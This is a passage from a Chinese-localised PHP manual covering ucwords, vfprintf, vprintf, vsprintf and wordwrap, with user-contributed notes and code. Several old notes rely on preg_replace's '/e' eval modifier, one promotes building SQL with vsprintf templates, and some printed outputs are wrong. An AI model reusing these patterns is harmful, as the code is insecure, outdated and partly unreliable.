    $name = join("Mac", array_map('ucwords', explode("Mac", $name)));
    $name = join("Mc", array_map('ucwords', explode("Mc", $name)));
    return $name;
}
?>

I speed tested it against functions that used preg_replace() with an "e" modifier, preg_replace_callback(), and a character-by-character parsing.  Unexpectedly, this function using join(), array_map() and explode() was fastest.
Q1712 at online dot ms 05-May-2007 12:49
ucwords() only excepts whitespace in front of a word, although some chars like '"' or '(' normally have no space between them and the following word:
<?php
$title = 'ELVIS "THE KING" PRESLEY - (LET ME BE YOUR) TEDDY BEAR';
echo ucwords(strtolower($title));
?>
prints: Elvis "the King" Presley - (let Me Be Your) Teddy Bear

To avoid this i use a small function adding and deleting blanks behind these chars, and using ucwords() in between:

<?php
function my_ucwords($string)
  {
    $noletters='"([/'; //add more if u need to
    for($i=0; $i<strlen($noletters); $i++)
      $string = str_replace($noletters[$i], $noletters[$i].' ', $string);
    $string=ucwords($string);
    for($i=0; $i<strlen($noletters); $i++)
      $string = str_replace($noletters[$i].' ', $noletters[$i], $string);
    return $string;
  }

$title = 'ELVIS "THE KING" PRESLEY - (LET ME BE YOUR) TEDDY BEAR';
echo my_ucwords(strtolower($title));
?>

prints: Elvis "The King" Presley - (Let Me Be Your) Teddy Bear
barnaby ritchley at exeye dot co dot uk 03-Jan-2007 08:53
A very easy way to convert to title case:

function titleCase($string)
     {
     return ucwords(strtolower($string));
     }

$myString = "SOME TEXT";

echo titleCase($myString);

//will print, "My Text"
max at phoenixweb dot it 15-Sep-2006 07:35
I have rewritten a UCSMART function adding a feature to translate special ASCII char (windows occidental ascii charset):

You can edit/add/delete char by use the first two string (be carefull to preserve the order of the string).

Enjoy!

<?
$ASCII_SPC_MIN = "àáa?????èéê?ìí??e?òó???ùú?üy???";
$ASCII_SPC_MAX = "àá??????èéê?ìí??D?òó???ùú?üY???";

function str2upper($text) {
    global $ASCII_SPC_MIN,$ASCII_SPC_MAX;
    return strtr(strtoupper($text),$ASCII_SPC_MIN,$ASCII_SPC_MAX);
}
function str2lower($text) {
    global $ASCII_SPC_MIN,$ASCII_SPC_MAX;
    return strtr(strtolower($text),$ASCII_SPC_MAX,$ASCII_SPC_MIN);
}
function ucsmart($text) {
    global $ASCII_SPC_MIN;
    return preg_replace(
        '/([^a-z'.$ASCII_SPC_MIN.']|^)([a-z'.$ASCII_SPC_MIN.'])/e',
        '"$1".str2upper("$2")',
        str2lower($text)
    );
}
?>

Massimiliano Cuttini
marco at hotelsandgo dot com 09-Sep-2006 09:35
ucwords that works also with apices: '
for example: "aquila d'abruzzo" became "Aquila d'Abruzzo"
The second part after the // comment can removed! Is optimized for italian language (leave lowercase articles, prepositions, conjunctions) but easily changeable. Notice che "'s"!! for example "hotel 2000's" becames "Hotel 2000's".

    function my_ucwords($s)
        {
        $a=strtolower($s);
        $s=ucfirst($a);
        for($x=0; $x<strlen($s)-1; $x++)
            if(!ctype_alpha($s[$x])) $s[$x+1]=strtoupper($s[$x+1]);

        //Lascia minuscoli articoli, preposizioni, congiunzioni
        $minuscole=array("il", "lo", "la", "i", "gli", "le",                //ARTICOLI DETERMINATIVI
                 "un", "uno", "una",                        //ARTICOLI INDETERMINATIVI
                 "e",  "d", "l", "s", "un",                    //CONGIUNZIONI e CONTRATTI
                 "di", "a", "da", "in", "con", "su", "per", "tra", "fra",    //PREPOSIZIONI SEMPLICI
                 "del", "dello", "della", "dei", "degli", "delle",        //PREPOSIZIONI ARTICOLATE
                 "a", "al", "allo", "alla", "ai", "agli", "alle",
                 "da", "dal", "dallo", "dalla", "dai", "dagli", "dalle",
                 "in", "nel", "nello", "nella", "nei", "negli", "nelle",
                 "con", "col", "collo", "colla", "coi", "cogli", "colle",
                 "su", "sul", "sullo", "sulla", "sui", "sugli", "sulle",
                 "per", "pel", "pei");

        foreach($minuscole as $value)
            {
            $pos=strpos($a, $value);
            if( ( $pos>0 && $pos<strlen($s)-1 && !ctype_alpha($a[$pos-1]) && !ctype_alpha($a[$pos+1]) )    //CARATTERE IN MEZZO
            ||  ( $pos==strlen($s)-1 && !ctype_alpha($a[$pos-1]) ) )                    //CASO PARTICOLARE: carattere in fondo. x es: "hotel 2000's"
                $s[$pos]=strtolower($s[$pos]);
            }

        return $s;
        }

    function my_ucwords_essential($s)
        {
        $a=strtolower($s);
        $s=ucfirst($a);
        for($x=0; $x<strlen($s)-1; $x++)
            if(!ctype_alpha($s[$x])) $s[$x+1]=strtoupper($s[$x+1]);

        return $s;
        }

Can be rewritten better, I Know
starmonkey [at] evolove [dot] net 05-Aug-2006 08:17
Simple helper function to walk through a nested array of strings and upper case them:

<?php
/**
 * Helper function to convert an array of strings to upper case words
 */
function _capitalize($input) {
    if(is_array($input)) {
        // recurse through array elements (using a reference)
        foreach($input as &$value) {
            $value = _capitalize($value);
        }
        return $input;
    } elseif(is_string($input)) {
        // process this string
        return ucwords($input);
    } else {
        // all other data types, leave alone
        return $input;
    }
}
?>
Ismet Togay 30-May-2006 05:07
Response to arif:

We do not need that long functions. In order to make ucwords() worked properly in Turkish words that contain speacial characters, we can use the following command in our php codes:

setlocale(LC_ALL, 'tr_TR');

This will set locale to Turkish.
lev at phpfox dot com 06-May-2006 01:44
In the function ucsmart() posted by ieure at php dot net on 04-Dec-2005 11:57, I found a similar problem in this function to what he found in igua's.

<?php
function ucsmart($text)
{
   return preg_replace('/([^a-z]|^)([a-z])/e', '"$1".strtoupper("$2")',
                       strtolower($text));
}
?>

"igua's code adds a backslash in front of the first single quote for me. This doesn't alter the content in any way other than changing case."

Actually, it did end up changing the content for me (php 5.0.4) in the way that this function escapes a single quotation (apostrophe) in the MIDDLE of a word.

For example:

who's online?

Became:

Who\'s Online?

The fix is simple however, and merely requires fine-tuning the regular expression:

<?php
function ucsmart($text)
{
   return preg_replace('/([^a-z\']|^)([a-z])/e', '"$1".strtoupper("$2")',
                       strtolower($text));
}
?>

(note: while previewing this note before adding it, I am noticing php's website is not correctly displaying the change I made as I wrote it. After the first a-z in the expression, the single quotation should be escaped... If it isn't you will get a parse error! And apoligies if my text here is colored as php code; not my fault!)

This will not escape a single quotation mark which occurs in the middle of a word... Though, you may find that might need to add other characters inside the regular expression if you use other special characters inside your words and if you get funky output.

It's a great expression though! Simple, yet very powerful. Kudos!
24-Dec-2005 07:34
"ieure at php dot net", your idea is pure poetry!

The function below will standardize the capitalization on people's names and the titles of reports and essays . You may need to adapt the lists in "$all_uppercase" and "$all_lowercase" to suit the data that you are working with.

function my_ucwords($str, $is_name=false) {
   // exceptions to standard case conversion
   if ($is_name) {
       $all_uppercase = '';
       $all_lowercase = 'De La|De Las|Der|Van De|Van Der|Vit De|Von|Or|And';
   } else {
       // addresses, essay titles ... and anything else
       $all_uppercase = 'Po|Rr|Se|Sw|Ne|Nw';
       $all_lowercase = 'A|And|As|By|In|Of|Or|To';
   }
   $prefixes = 'Mc';
   $suffixes = "'S";

   // captialize all first letters
   $str = preg_replace('/\\b(\\w)/e', 'strtoupper("$1")', strtolower(trim($str)));

   if ($all_uppercase) {
       // capitalize acronymns and initialisms e.g. PHP
       $str = preg_replace("/\\b($all_uppercase)\\b/e", 'strtoupper("$1")', $str);
   }
   if ($all_lowercase) {
       // decapitalize short words e.g. and
       if ($is_name) {
           // all occurences will be changed to lowercase
           $str = preg_replace("/\\b($all_lowercase)\\b/e", 'strtolower("$1")', $str);
       } else {
           // first and last word will not be changed to lower case (i.e. titles)
           $str = preg_replace("/(?<=\\W)($all_lowercase)(?=\\W)/e", 'strtolower("$1")', $str);
       }
   }
   if ($prefixes) {
       // capitalize letter after certain name prefixes e.g 'Mc'
       $str = preg_replace("/\\b($prefixes)(\\w)/e", '"$1".strtoupper("$2")', $str);
   }
   if ($suffixes) {
       // decapitalize certain word suffixes e.g. 's
       $str = preg_replace("/(\\w)($suffixes)\\b/e", '"$1".strtolower("$2")', $str);
   }
   return $str;
}

// A name example
print my_ucwords("MARIE-LOU VAN DER PLANCK-ST.JOHN", true);
// Output: Marie-Lou van der Planc-St.John

// A title example
print my_ucwords("to be or not to be");
// Output: "To Be or Not to Be"
ieure at php dot net 04-Dec-2005 02:57
Whoa guys, tone things down a bit here. No need to loop and implode. This is a one-line solution:

function ucsmart($text)
{
    return preg_replace('/([^a-z]|^)([a-z])/e', '"$1".strtoupper("$2")',
                        strtolower($text));
}

igua's code adds a backslash in front of the first single quote for me. This doesn't alter the content in any way other than changing case.
20-Oct-2005 04:14
Here's a  piece that allows you to use the contents of a directory..  capitalizes the words and make links.. this particular example splits file names at _ and only selects file with .htm extensions (thought you could use any extension and call it using  include()  or soom such)
ie my_file_name.htm will produce
<a href="my_file_name.htm">My File Name</a>

<?php
$path = "/home/path/to/your/directory";
   $mydir = dir($path);
   while(($file = $mydir->read()) !== false) {
     if(substr($file, -4)=='.htm'){
    $trans = array("_" => " ", ".htm" => ""); // creates the editing array
    $newlist = strtr($file, $trans); // edits using editing array
    echo "<a href=\"".$file."\">".ucwords($newlist)."</a><br>";
     }
    }
   ?>
igua no-spam at coveruniverse dot com 08-Mar-2005 04:30
The code posted by neil doesn't fully do what is wanted. Try adding some more question marks at the end and it will return a not wanted string.

Below code will uppercase all your words regardless of the delimiter.

<?php
$text = "What?No 'delimiters',shit \"happens\" here.this solves all problems???";
preg_match_all('/[A-Za-z]+|[^A-Za-z]+/', $text, $data);
for ($i = 0; $i < count($data[0]); $i++) {
  $data[0][$i] = ucfirst($data[0][$i]);
}
$text = implode("", $data[0]);
print $text;
?>
babel - nospamplease - sympatico - ca 10-Feb-2004 08:26
Correction to the code of firewire at itsyourdomain dot com:

preg_replace_callback('/\b(\w)(\w+)?/',
   create_function('$a',
   'return strtoupper($a[1]) . ((sizeof($a) > 2 ) ?
       strtolower($a[2]) : "");'),
    'p.s.: hello.this is my string.');

Will work with punctuation as well as spaces.
deepdene at email dot com 09-Dec-2002 11:20
A function knowing about name case (i.e. caps on McDonald etc)

function name_case($name)
{
    $newname = strtoupper($name[0]);
    for ($i=1; $i < strlen($name); $i++)
    {
        $subed = substr($name, $i, 1);
        if (((ord($subed) > 64) && (ord($subed) < 123)) ||
            ((ord($subed) > 48) && (ord($subed) < 58)))
        {
            $word_check = substr($name, $i - 2, 2);
            if (!strcasecmp($word_check, 'Mc') || !strcasecmp($word_check, "O'"))
            {
                $newname .= strtoupper($subed);
            }
            else if ($break)
            {

                $newname .= strtoupper($subed);
            }
            else
            {
                $newname .= strtolower($subed);
            }
             $break=0;
        }
        else
        {
            // not a letter - a boundary
             $newname .= $subed;
            $break=1;
        }
    }
    return $newname;
}
18-Jan-2002 06:14
This seems to be what people want:

function uc_all($string) {
    $temp = preg_split('/(\W)/', $string, -1, PREG_SPLIT_DELIM_CAPTURE );
    foreach ($temp as $key=>$word) {
        $temp[$key] = ucfirst(strtolower($word));
    }
    return join ('', $temp);
}

[ed note: fixed the code to be correct]
neil at no-spam-ents24 dot com 21-Mar-2001 05:10
The code posted above by Joerg Krause only works for a string which ends with one of the delimiters. A possible fix is:

<?php
$text = "What?No delimiters,shit happens here.this solves all problems.";
preg_match_all("/(\w+[,. ?])+/U", $text, $words);
preg_match("/(\w+)$/", $text, $lastword);
$words[0][] = $lastword;
foreach($words[0] as $part) $uwords[] = ucfirst($part);
$text = implode("", $uwords);
echo $text;
?>


将格式化字符串写入流

  • ? ucwords
  • vprintf ?
  • PHP Manual
  • 字符串 函数
  • 将格式化字符串写入流

vfprintf

(PHP 5, PHP 7)

vfprintf — 将格式化字符串写入流

说明

vfprintf ( resource $handle , string $format , array $args ) : int

向由 handle 指定的流资源句柄中写入根据 format 格式化后的字符串。

作用与 fprintf() 函数类似，但是接收一个数组参数，而不是一系列可变数量的参数。

参数

handle

format

关于 format 的描述，参见 sprintf()。

args

返回值

返回输出字符串的长度。

范例

Example #1 vfprintf(): 前导 0 的整数

<?php
if (!($fp = fopen('date.txt', 'w')))
    return;

vfprintf($fp, "%04d-%02d-%02d", array($year, $month, $day));
// 将向 date.txt 写入格式化的 ISO 标准日期
?>

参见

  • printf() - 输出格式化字符串
  • sprintf() - Return a formatted string
  • sscanf() - 根据指定格式解析输入的字符
  • fscanf() - 从文件中格式化输入
  • vsprintf() - 返回格式化字符串
  • number_format() - 以千位分隔符方式格式化一个数字

User Contributed Notes

There are no user contributed notes for this page.


输出格式化字符串

  • ? vfprintf
  • vsprintf ?
  • PHP Manual
  • 字符串 函数
  • 输出格式化字符串

vprintf

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

vprintf — 输出格式化字符串

说明

vprintf ( string $format , array $args ) : int

根据 format （sprintf() 函数文档中有相关描述）参数指定的格式，在一个格式化字符串中显示多个值。

作用与 printf() 函数类似，但是接收一个数组参数，而不是一系列可变数量的参数。

参数

format

关于 format 的描述，参见 sprintf()。

args

返回值

返回输出字符串的长度。

范例

Example #1 vprintf(): 前导 0 的整数

<?php
vprintf("%04d-%02d-%02d", explode('-', '1988-8-1')); // 1988-08-01
?>

参见

  • printf() - 输出格式化字符串
  • sprintf() - Return a formatted string
  • vsprintf() - 返回格式化字符串

User Contributed Notes

phpcoder at gmail dot com 17-Jul-2019 12:43
Using the ... operator, vprintf($format, $array) is basically just printf($format, ...$array).
steve at stevelockwood dot net 18-Dec-2014 08:42
If, instead of an array, you pass an object PHP will automatically cast the object as an array so you can use it directly in vprintf.
<?php
 $object = new stdClass();
 $object->Property1 = 'Value 1';
 $object->Property2 = 'Value 2';
vprintf('%-20s %-20s', $object);

/* will output
 Value 1              Value 2
*/
?>
Chris 18-Oct-2012 05:49
Another way to display arrays is use an array_walk(). This can be useful inline echo/print where a foreach wouldn't work, e.g.

<?php
echo "These errors: ", (unset)array_walk($msgs, function($a) { echo "<p>$a</p>"; } ), "must be corrected.";
?>
taken from &#34;Php Phrasebook&#34; 15-Jun-2008 10:55
<?php
$string = 'The site runs on PHP '.phpversion();
preg_match('/php ((\d)\.\d\.\d+)/i',$string,$matches);
print_r($matches);
vprintf('Match: %s<br /> Version %s; Major:%d.',$matches);
?>

output:
Array ( [0] => PHP 5.2.5 [1] => 5.2.5 [2] => 5 )
Match: PHP 5.2.5 Version 5.2.5; Major:5.

For preg_match:

If matches  is provided, then it is filled with the results of search. $matches[0] will contain the text that matched the full pattern, $matches[1]  will have the text that matched the first captured parenthesized subpattern, and so on.
badcop666 at hotmail dot com 28-Nov-2007 05:38
For blocks of text, sprintf() is slow according to my tests.

Also, having the mapping between place-holders and the list of actual variables or datastructures often makes this code difficult to read. But the printf() family are widely supported and have a huge range of nice features. Performance is a cold mistress though!

From an ease-of-reading and maintenance, debugging point of view, I much prefer HEREDOC and "...{$variable}..." methods.

For a block of HTML markup with place holders, the fastest by far was:-

?>
<div> markup etc<?= $variable ?>more markup
<?

My tests comprised 20 runs of a loop of 1 million iterations with output buffering, ditching the buffer on each loop.

The timings ranged from average 2.1msec/million repetitions for the <?= $var ?> method up to 7.6msec/million using printf().

I'll try some benchmarking tools too, since I just wrote this myself and it could be introducing bias, but they've run on dev servers with low load.

Hopefully interesting.
tehjosh at gamingg dot net 29-Jul-2007 07:19
To toolofthesystem at gmail dot com:

You don't need to use output buffering with vprintf() because you can use vsprintf(), which has the same functionality as vprintf(), except that it returns the resulting string instead of outputting it.
toolofthesystem at gmail dot com 27-Mar-2007 08:42
This function comes useful sometimes when trying to list information returned from MySQL:

function print_sql($query,$printf){
    $sql_sql = mysql_query($query);
    while($sql = mysql_fetch_row($sql_sql)){
        vprintf($printf,$sql);
    }
}

Unfortunately, this seems to sneak its way past output buffering when I tried creating an argument to allow it to be contained in a returned string... either that or I didn't do it right.
caleb at tekhawk dot com 29-Nov-2006 02:19
i know that you can use %1$s or %3$s to select the first or third string but how can you or can you use array names to select it

something like %'user'$s $'email'$s

i tend to add things to my databases over time and this could save loads of recoding


返回格式化字符串

  • ? vprintf
  • wordwrap ?
  • PHP Manual
  • 字符串 函数
  • 返回格式化字符串

vsprintf

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

vsprintf — 返回格式化字符串

说明

vsprintf ( string $format , array $args ) : string

作用与 sprintf() 函数类似，但是接收一个数组参数，而不是一系列可变数量的参数。

参数

format

关于 format 的描述，参见 sprintf()。

args

返回值

根据 format （sprintf() 函数文档中有相关描述）参数指定的格式，在一个字符串中返回一系列值。

范例

Example #1 vsprintf(): 前导 0 的整数

<?php
print vsprintf("%04d-%02d-%02d", explode('-', '1988-8-1')); // 1988-08-01
?>

参见

  • sprintf() - Return a formatted string
  • vprintf() - 输出格式化字符串

User Contributed Notes

steven at nevvix dot com 02-May-2018 04:14
<?php
/**
 * Return a formatted string like vsprintf() with named placeholders.
 *
 * When a placeholder doesn't have a matching key in `$args`,
 *   the placeholder is returned as is to see missing args.
 * @param string $format
 * @param array $args
 * @param string $pattern
 * @return string
 */
function p($format, array $args, $pattern="/\{(\w+)\}/") {
    return preg_replace_callback($pattern, function ($matches) use ($args) {
        return @$args[$matches[1]] ?: $matches[0];
    }, $format);
}

$args = ["database"=>"people", "user"=>"staff", "pass"=>"pass123", "host"=>"localhost"];

// With PHP-like placeholders: the variable is embedded in a string "{$database}" but without the dollar sign
$format = <<<SQL
CREATE DATABASE IF NOT EXISTS {database};
GRANT ALL PRIVILEGES ON {database_name}.* TO '{user}'@'{host}';
SET PASSWORD = PASSWORD('{pass}');
SQL;
echo p($format, $args);
/*
Result:

CREATE DATABASE IF NOT EXISTS people;
GRANT ALL PRIVILEGES ON {database_name}.* TO 'staff'@'localhost';
SET PASSWORD = PASSWORD('pass123');

The `{database_name}` placeholder doesn't exist as a matching key in `$args` so it's returned as is.
*/

// With Ruby-like placeholders
$format = <<<SQL
CREATE DATABASE IF NOT EXISTS :database;
GRANT ALL PRIVILEGES ON :database_name.* TO ':user'@':host';
SET PASSWORD = PASSWORD(':pass');
SQL;
echo p($format, $args, "/:(\w+)/");
/*
Result:

CREATE DATABASE IF NOT EXISTS people;
GRANT ALL PRIVILEGES ON :database_name.* TO 'staff'@'localhost';
SET PASSWORD = PASSWORD('pass123');

The `:database_name` placeholder doesn't exist as a matching key in `$args` so it's returned as is.
*/
ASchmidt at Anamera dot net 21-Nov-2017 06:58
It's necessary to clearly how to apply argument swapping when using an array of arguments. One might be tempted to use %0$ to reference $args[0].

In reality, the position specifier is always the array index+1:

$args[0]  is referenced by %1$...
$args[1]  is referenced by %2$...
etc.

Similarly, the first subpattern of a RegEx match would be found in $matches[1], the second in $match[2], etc. However if the $matches array is used as arguments to vsprint(), then the position specifier is subpattern+1:

preg_match( $pattern, $subject, $matches );
vsprintf( 'Full Match = %1$s, first Subpattern = %2$s, second Subpattern = %3$s', $matches );
spectrumcat 28-Sep-2016 10:51
Instead of inventing own functions in case you'd like to use array keys as placeholder names and replace corresponding array values in a string, just use the str_replace:

$string = 'Hello %name!';
$data = array(
  '%name' => 'John'
);

$greeting = str_replace(array_keys($data), array_values($data), $string);
dee jay simple zero07 at geemail dawt co 17-Jan-2013 05:03
Using a heredoc with vprintf:

<?php
$string = <<<THESTRING
I like the state of %1\$s <br />
I picked: %2\$d as a number, <br />
I also picked %2\$d as a number again <br />
%3\$s<br />
THESTRING;

$returnText = vprintf(  $string, array('Oregon','7','I Love Oregon')  );

echo $returnText;
?>
Josef Kufner 20-Nov-2012 11:51
<?php
/**
 * Like vsprintf, but accepts $args keys instead of order index.
 * Both numeric and strings matching /[a-zA-Z0-9_-]+/ are allowed.
 *
 * Example: vskprintf('y = %y$d, x = %x$1.1f', array('x' => 1, 'y' => 2))
 * Result:  'y = 2, x = 1.0'
 *
 * $args also can be object, then it's properties are retrieved
 * using get_object_vars().
 *
 * '%s' without argument name works fine too. Everything vsprintf() can do
 * is supported.
 *
 * @author Josef Kufner <jkufner(at)gmail.com>
 */
function vksprintf($str, $args)
{
    if (is_object($args)) {
        $args = get_object_vars($args);
    }
    $map = array_flip(array_keys($args));
    $new_str = preg_replace_callback('/(^|[^%])%([a-zA-Z0-9_-]+)\$/',
            function($m) use ($map) { return $m[1].'%'.($map[$m[2]] + 1).'$'; },
            $str);
    return vsprintf($new_str, $args);
}
?>
thomas att familie dash flori dot de 30-Oct-2012 11:46
Here is my example for named placeholders. It uses python like named placeholders except that it only allows /[a-z][a-zA-Z0-9_]/ for names.

<?php

/**
 * Returns a formatted string. Accepts named arguments.
 * @param string $format
 * @param array $args
 * @return string
 **/
function vsprintfn($format, $args) {
    // search format patterns
    preg_match_all('/((?:^|[^%])(?:%%)*)%(\([a-z][a-zA-Z0-9_]*\))?((\+|-)?(0| |\'.)?-?[0-9\.]*[bcdeEufFgGosxX])/', $format, $matches);
    // determine the order of the arguments
    $j = 0;
    $order = array();
    foreach ($matches[0] as $i => $match) {
        if ($matches[2][$i] == '') {
            $key = $j++;
        } else {
            $key = substr($matches[2][$i],1,-1);
        }
        $order[] = $key;
    }
    // prepare the data array for vsprintf in the given order
    $data = array();
    foreach ($order as $key) {
        if (isset($args[$key])) {
            $data[] = $args[$key];
        }
    }
    // replace named format patterns with default format patterns
    $format = preg_replace('/((?:^|[^%])(?:%%)*)%(\([a-z][a-zA-Z0-9_]*\))((\+|-)?(0| |\'.)?-?[0-9\.]*[bcdeEufFgGosxX])/', '$1%$3', $format);
    // return formatted string
    return vsprintf($format, $data);
}

$exampleData = array(0=>2.2314123123,'test'=>2.1234883);
echo vsprintfn('%%2.5f = %2.5f', $exampleData) . "\n";
echo vsprintfn('%%(test)09.5f = %(test)\'%9.5f', $exampleData) . "\n";

?>
strata_ranger at hotmail dot com 29-Jun-2010 11:15
Here's a simple variation on vsprintf() suitable for use with database queries where the results were retrieved as an associative array keyed by column names.

<?php

function dbsprintf($format, $fields, $row)
// $format - sprintf() compatible format string
// $row - Array containing key/value pairs of data
// $fields - Array containing key names (from $row) that are to be used as arguments
{
  // Loop through $fields and insert the corresponding values from $row
  foreach($fields as &$value)
  {
    $value = $row[$value];
  } unset($value);

  // Format the string and return
  return vsprintf($format, $fields);
}

// Some data
$row = Array('id' => '12', 'name' => 'World');

// Outputs "Hello World!"
echo dbsprintf('Hello, %s!', Array('name'), $row);
// Outputs "Hello 12!"
echo dbsprintf('Hello, %s!', Array('id'), $row);

?>
jeppe dot dyrby at gmail dot com 04-Mar-2009 04:52
Heres a new version of the vnsprintf function, i call it dsprintf, but that should matter.

<?php
function dsprintf() {
  $data = func_get_args(); // get all the arguments
  $string = array_shift($data); // the string is the first one
  if (is_array(func_get_arg(1))) { // if the second one is an array, use that
    $data = func_get_arg(1);
  }
  $used_keys = array();
  // get the matches, and feed them to our function
  $string = preg_replace('/\%\((.*?)\)(.)/e',
    'dsprintfMatch(\'$1\',\'$2\',\$data,$used_keys)',$string);
  $data = array_diff_key($data,$used_keys); // diff the data with the used_keys
  return vsprintf($string,$data); // yeah!
}

function dsprintfMatch($m1,$m2,&$data,&$used_keys) {
  if (isset($data[$m1])) { // if the key is there
    $str = $data[$m1];
    $used_keys[$m1] = $m1; // dont unset it, it can be used multiple times
    return sprintf("%".$m2,$str); // sprintf the string, so %s, or %d works like it should
  } else {
    return "%".$m2; // else, return a regular %s, or %d or whatever is used
  }
}
$str = "Hello, %(place)s, how is it hanning at %(place)s? %s works just as well";
$find = array(
  'place' => 'world',
  'sprintf',
  'not used'
);
echo dsprintf($str, $find);
// 'Hello, world, how is it hanning at world? sprintf works just as well'
?>
www dot wesley at gmail dot com 16-Jun-2008 01:56
vnsprintf is equal to vsprintf except for associative, signed or floating keys.

vnsprintf supports for example "%assocKey$05d", "%-2$'+10s" and "%3.2$05u", vsprintf doesn't

vnsprintf( '%2$d', $array) [2nd value] is equal to vsprintf( '%2$d', $array) [2nd value]
vnsprintf( '%+2$d', $array) [key = 2] is equal to vnsprintf( '%2.0$d', $array) [key = 2]
vnsprintf( '%+2$d', $array) [key = 2] is different of vsprintf( '%+2$d', $array) [unsupported]

When you use signed or floating keys, vnsprintf searchs for the signed truncated key of the original array

Note1: vnsprintf does not support for example "%someKeyf" (floating number, key = someKey) or "%+03d" (signed decimal number, key = 3), you should use "%someKey$f" or "%+03$d" respectively.
Note2: "%+03d" (or "%1$+03d") will be interpreted as signed zero-padded decimal number

<?php
function vnsprintf( $format, array $data)
{
    preg_match_all( '/ (?<!%) % ( (?: [[:alpha:]_-][[:alnum:]_-]* | ([-+])? [0-9]+ (?(2) (?:\.[0-9]+)? | \.[0-9]+ ) ) ) \$ [-+]? \'? .? -? [0-9]* (\.[0-9]+)? \w/x', $format, $match, PREG_SET_ORDER | PREG_OFFSET_CAPTURE);
    $offset = 0;
    $keys = array_keys($data);
    foreach ( $match as &$value )
    {
        if ( ( $key = array_search( $value[1][0], $keys) ) !== FALSE || ( is_numeric( $value[1][0]) && ( $key = array_search( (int)$value[1][0], $keys) ) !== FALSE ) ) {
            $len = strlen( $value[1][0]);
            $format = substr_replace( $format, 1 + $key, $offset + $value[1][1], $len);
            $offset -= $len - strlen( $key);
        }
    }
    return vsprintf( $format, $data);
}

$examples = array(
    2.8=>'positiveFloat',    // key = 2 , 1st value
    -3=>'negativeInteger',    // key = -3 , 2nd value
    'my_name'=>'someString'    // key = my_name , 3rd value
);

echo vsprintf( "%%my_name\$s = '%my_name\$s'\n", $examples);    // [unsupported]
echo vnsprintf( "%%my_name\$s = '%my_name\$s'\n", $examples);    // output : "someString"

echo vsprintf( "%%2.5\$s = '%2.5\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%2.5\$s = '%2.5\$s'\n", $examples);        // output : "positiveFloat"

echo vsprintf( "%%+2.5\$s = '%+2.5\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%+2.5\$s = '%+2.5\$s'\n", $examples);        // output : "positiveFloat"

echo vsprintf( "%%-3.2\$s = '%-3.2\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%-3.2\$s = '%-3.2\$s'\n", $examples);        // output : "negativeInteger"

echo vsprintf( "%%2\$s = '%2\$s'\n", $examples);            // output : "negativeInteger"
echo vnsprintf( "%%2\$s = '%2\$s'\n", $examples);            // output : [= vsprintf]

echo vsprintf( "%%+2\$s = '%+2\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%+2\$s = '%+2\$s'\n", $examples);        // output : "positiveFloat"

echo vsprintf( "%%-3\$s = '%-3\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%-3\$s = '%-3\$s'\n", $examples);        // output : "negativeInteger"
?>
Roadster 30-Sep-2006 07:44
Please note: The same functionality (sortof) can be attained between version 4.0.4 and 4.1.0 using call_user_func_array.

Example:

call_user_func_array("sprintf", $arg)

First element of $arg is the format. This rescued me in a situation where version 4.1.0 wasn't available.
jon at ardentcreative dot co dot uk 17-Feb-2006 03:56
This can be used for quick and dirty internationalization:

<?php
$GLOBALS['strings']['example'] = "There are %d people.";

// Loads a phrase from the translations list in lang/$lang/phrases.php
function t() {
    $args = func_get_args();
    $nArgs = func_num_args();

    $phrase = array_shift($args);
    $nArgs--;

    include_once("../lang/" . lang() . "/phrases.php");
    if (isset($GLOBALS['strings'][$phrase])) {
        return vsprintf($GLOBALS['strings'][$phrase], $args);
    } else {
        return '<span style="color: #ff0000">Untranslated string: ' . $phrase . '</span>';
    }
}
?>
toneee at g mail dot com 19-Dec-2005 09:27
I found this function to be useful for formatting sql queries.

I do something like this:

function sql_build($template, $params = array()) {
  global $sql_templates;
  if (isset($sql_templates[$template])) {
    $sql = vsprintf($sql_templates[$template], $params);
    return $sql;
  }
  return false;
}

// Fetch list of contacts, for a given section id
$sql_templates['contacts_by_section'] = <<<ENDSQL
select
  id,
  name,
  email,
  address,
  photo_id
from
  contacts
where
  section_id = %d
ENDSQL;

You also give yourself an added layer of security on the sql due to the sprintf formatting. For example, using %d will not allow any sql injection for that parameter.
tbS dot P dot A dot M at S dot U dot K dot Staylorbarstow dot com 01-Mar-2005 11:49
Simple but useful routine:

<?php
function vsprintf_iter($fmt,$data) {
    if (!is_array($data)) return false;
    $ret = '';
    foreach ($data as $d) {
        $ret .= vsprintf($fmt,$d);
    }
    return $ret;
}
?>
jed at NOSPAM dot jed dot bz 22-May-2004 06:48
vsprintf() accepts arrays with any keys, so the array_shift() technique is unnecessary when writing a printf-type function. Any parameters you require are easily unset from the array you retrieve with func_get_args():

<?php

function mysprintf($format) {
    $args = func_get_args();
    unset($args[0]); /* get rid of "$format" */
    return vsprintf($format, $args);
}

/* I use this technique in production code as follows: */
function logf($target, $string) {
    $args = func_get_args();
    unset($args[0], $args[1]);
    fprintf($GLOBALS['config']['logtargets'][$target],
        "[%s] %s\n", date('H:i'), wordwrap(vsprintf($string, $args), 75, '\n\r '));
}

/* e.g.:
    logf(DEBUG, "Oops! %s", mysql_error());
 */

?>

array_shift() and other costly array operations aren't required, as far as I know. I could be wrong.
samviseNOSPAM at hobbitonNOSPAM dot it 02-Jul-2002 06:55
i wrote a short function that make use of vsprintf. It is useful in first coding/debugging of php scripts, because it is called like a simple printf and it display in italic (you can change it of course ;-) ) every debug messages, making it easy to remove them when your code is ready.

here goes :

<?php
function printd() {
        $debug_array=func_get_args();
        $debug_numargs=func_num_args();
        $debug_fmt=$debug_array[0];
        for ( $i = 0 ; $i < $debug_numargs ; $i++ )
                $debug_array[$i] = $debug_array[$i+1];
        $debug_text=vsprintf($debug_fmt, $debug_array);
        printf("--> debug <i>%s</i>\n",
                $debug_text);
}
?>


打断字符串为指定数量的字串

  • ? vsprintf
  • 更新日志 ?
  • PHP Manual
  • 字符串 函数
  • 打断字符串为指定数量的字串

wordwrap

(PHP 4 >= 4.0.2, PHP 5, PHP 7)

wordwrap — 打断字符串为指定数量的字串

说明

wordwrap ( string $str [, int $width = 75 [, string $break = "\n" [, bool $cut = FALSE ]]] ) : string

使用字符串断点将字符串打断为指定数量的字串。

参数

str

输入字符串。

width

列宽度。

break

使用可选的 break 参数打断字符串。

cut

